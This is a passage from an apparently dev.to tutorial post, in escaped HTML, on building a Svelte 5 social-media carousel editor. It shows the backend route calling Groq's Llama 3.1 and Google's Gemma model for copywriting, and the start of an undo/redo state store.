&lt;li&gt;🧙‍♂️ &lt;strong&gt;Alchemist&lt;/strong&gt;, 🎨 &lt;strong&gt;Artist&lt;/strong&gt;, and 💬 &lt;strong&gt;To Canvas&lt;/strong&gt; (Cloud Fast Mode) run through the ultra-fast API from &lt;strong&gt;Groq&lt;/strong&gt; powered by the &lt;strong&gt;Llama 3.1 8B&lt;/strong&gt; model. This model is perfect for micro-tasks. You ask for a clickbait headline, the AI instantly gives you 3 options, and you add the text directly to the current slide with one click.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fsmm-turbo-fast-cloud-llama.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fsmm-turbo-fast-cloud-llama.webp" title="To Canvas mode result: fast headline generation" alt="Fast generation by Llama 3.1" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;🧠 &lt;strong&gt;SMM Strategist&lt;/strong&gt; (Cloud Reasoning Mode) is our "heavy artillery". It works directly through the &lt;strong&gt;Google API&lt;/strong&gt; powered by the cutting-edge &lt;strong&gt;Gemma 4 31B&lt;/strong&gt; model. This mode conducts a deep analysis of the topic and provides a ready-made 5-slide carousel structure (Hook, Pain, Solution, Proof, CTA).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fgemma-4-smm-strategist-result.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fgemma-4-smm-strategist-result.webp" title="Carousel structure generated by the Gemma 4 31B model" alt="SMM Strategist result" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Bypassing Free Server Limits (Edge Functions)
&lt;/h3&gt;

&lt;p&gt;To give the "Strategist" enough time to think so the Netlify server wouldn't drop the connection due to the standard 10-second timeout (the infamous 502 Bad Gateway error), I moved this API route to the &lt;strong&gt;Edge architecture&lt;/strong&gt;, which allows up to 30 seconds for execution. I also completely abandoned the "heavy" official SDKs in favor of native &lt;code&gt;fetch&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Here is the real backend code (&lt;code&gt;src/routes/api/ai/+server.ts&lt;/code&gt;) that drives this hybrid magic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;json&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@sveltejs/kit&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;GROQ_API_KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;GOOGLE_AI_API_KEY&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;$env/static/private&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 

&lt;span class="c1"&gt;// Switching to Edge runtime to bypass Netlify's 10-second limit&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;config&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;runtime&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;edge&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;POST&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;locale&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

        &lt;span class="c1"&gt;// ==========================================&lt;/span&gt;
        &lt;span class="c1"&gt;// 🧠 STRATEGIST MODE: Direct call to Gemma 4 31B&lt;/span&gt;
        &lt;span class="c1"&gt;// ==========================================&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;mode&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;strategist&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;systemInstruction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;locale&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;en&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
                &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="s2"&gt;`You are a Senior SMM Strategist. Create a detailed 5-slide Instagram carousel structure based on the user's topic: "&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;".\nFormat:\nSlide 1 (Hook): [Headline &amp;amp; Visual]\nSlide 2 (Pain): [Problem]\nSlide 3 (Solution): [How to solve]\nSlide 4 (Proof): [Benefits]\nSlide 5 (CTA): [Action]\nLanguage: English. Be concise.`&lt;/span&gt;
                &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`Ти — Senior SMM-стратег. Розроби структуру Instagram-каруселі на 5 слайдів для теми: "&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;".\nФормат:\nСлайд 1 (Гачок): [Заголовок та візуал]\nСлайд 2 (Біль): [Проблема]\nСлайд 3 (Рішення): [Як вирішити]\nСлайд 4 (Докази/Користь): [Переваги]\nСлайд 5 (Заклик): [Дія]\nВідповідай ВИКЛЮЧНО українською. Будь лаконічним.`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

            &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;googleRes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`https://generativelanguage.googleapis.com/v1beta/models/gemma-4-31b-it:generateContent?key=&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;GOOGLE_AI_API_KEY&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
                &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
                    &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt; &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;user&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt; &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;systemInstruction&lt;/span&gt; &lt;span class="p"&gt;}]&lt;/span&gt; &lt;span class="p"&gt;}],&lt;/span&gt;
                    &lt;span class="na"&gt;generationConfig&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;temperature&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;maxOutputTokens&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
                &lt;span class="p"&gt;})&lt;/span&gt;
            &lt;span class="p"&gt;});&lt;/span&gt;

            &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;googleRes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Google API Error: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;googleRes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;googleData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;googleRes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;result&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;googleData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;candidates&lt;/span&gt;&lt;span class="p"&gt;?.[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]?.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;?.[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]?.&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// ==========================================&lt;/span&gt;
        &lt;span class="c1"&gt;// ⚡ FAST MODES: Lightning-fast Llama 3.1 via Groq&lt;/span&gt;
        &lt;span class="c1"&gt;// ==========================================&lt;/span&gt;
        &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;systemMessage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;mode&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;canvas&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nx"&gt;systemMessage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;locale&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;en&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
                &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="s2"&gt;`You are a creative copywriter. Generate exactly 3 short text options. Start each with 🔹. No intro! Language: English.`&lt;/span&gt;
                &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`Надай рівно 3 коротких варіанти тексту. Кожен починається з 🔹. Без вступних слів! Мова: українська.`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; 
        &lt;span class="c1"&gt;// ... (additional configurations for other modes)&lt;/span&gt;

        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;groqRes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;[https://api.groq.com/openai/v1/chat/completions](https://api.groq.com/openai/v1/chat/completions)&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Authorization&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`Bearer &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;GROQ_API_KEY&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
            &lt;span class="p"&gt;},&lt;/span&gt;
            &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
                &lt;span class="na"&gt;model&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;llama-3.1-8b-instant&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="na"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
                    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;system&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;systemMessage&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
                    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;user&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;prompt&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
                &lt;span class="p"&gt;],&lt;/span&gt;
                &lt;span class="na"&gt;temperature&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="na"&gt;max_tokens&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;
            &lt;span class="p"&gt;})&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;

        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;groqRes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Groq API Error: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;groqRes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;groqData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;groqRes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;result&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;groqData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;choices&lt;/span&gt;&lt;span class="p"&gt;?.[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]?.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;any&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Failed to generate response.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Additionally, the editor has a convenient help section that transparently explains to users how this hybrid system works, and how they can activate Edge AI (local execution) for maximum privacy:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fsmm-turbo-ai-info-modal.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fsmm-turbo-ai-info-modal.webp" title="Help modal window describing AI modes" alt="Hybrid intelligence help" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🔄 State Management: Svelte 5 Magic
&lt;/h2&gt;

&lt;p&gt;One of the biggest challenges in developing a graphic editor is state management (State Management). We need to store the position of each element, manage the active slide, and implement the undo/redo function.&lt;/p&gt;

&lt;p&gt;Thanks to the new runes in Svelte 5 (&lt;code&gt;$state&lt;/code&gt;), creating such a global storage has become incredibly elegant. I created a &lt;code&gt;state.svelte.ts&lt;/code&gt; file, where I described the &lt;code&gt;editor&lt;/code&gt; object:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;createEditorState&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;$state&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
        &lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;carousel&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;canvasFormat&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;1:1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;currentSlides&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="na"&gt;elements&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt; &lt;span class="na"&gt;backgroundOverlay&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;}],&lt;/span&gt;
        &lt;span class="na"&gt;activeSlideIndex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;selectedId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;history&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt;
        &lt;span class="na"&gt;historyIndex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

        &lt;span class="kd"&gt;get&lt;/span&gt; &lt;span class="nf"&gt;activeSlide&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;currentSlides&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;activeSlideIndex&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt;

        &lt;span class="nf"&gt;saveState&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="c1"&gt;// Logic for saving steps for Undo/Redo&lt;/span&gt;
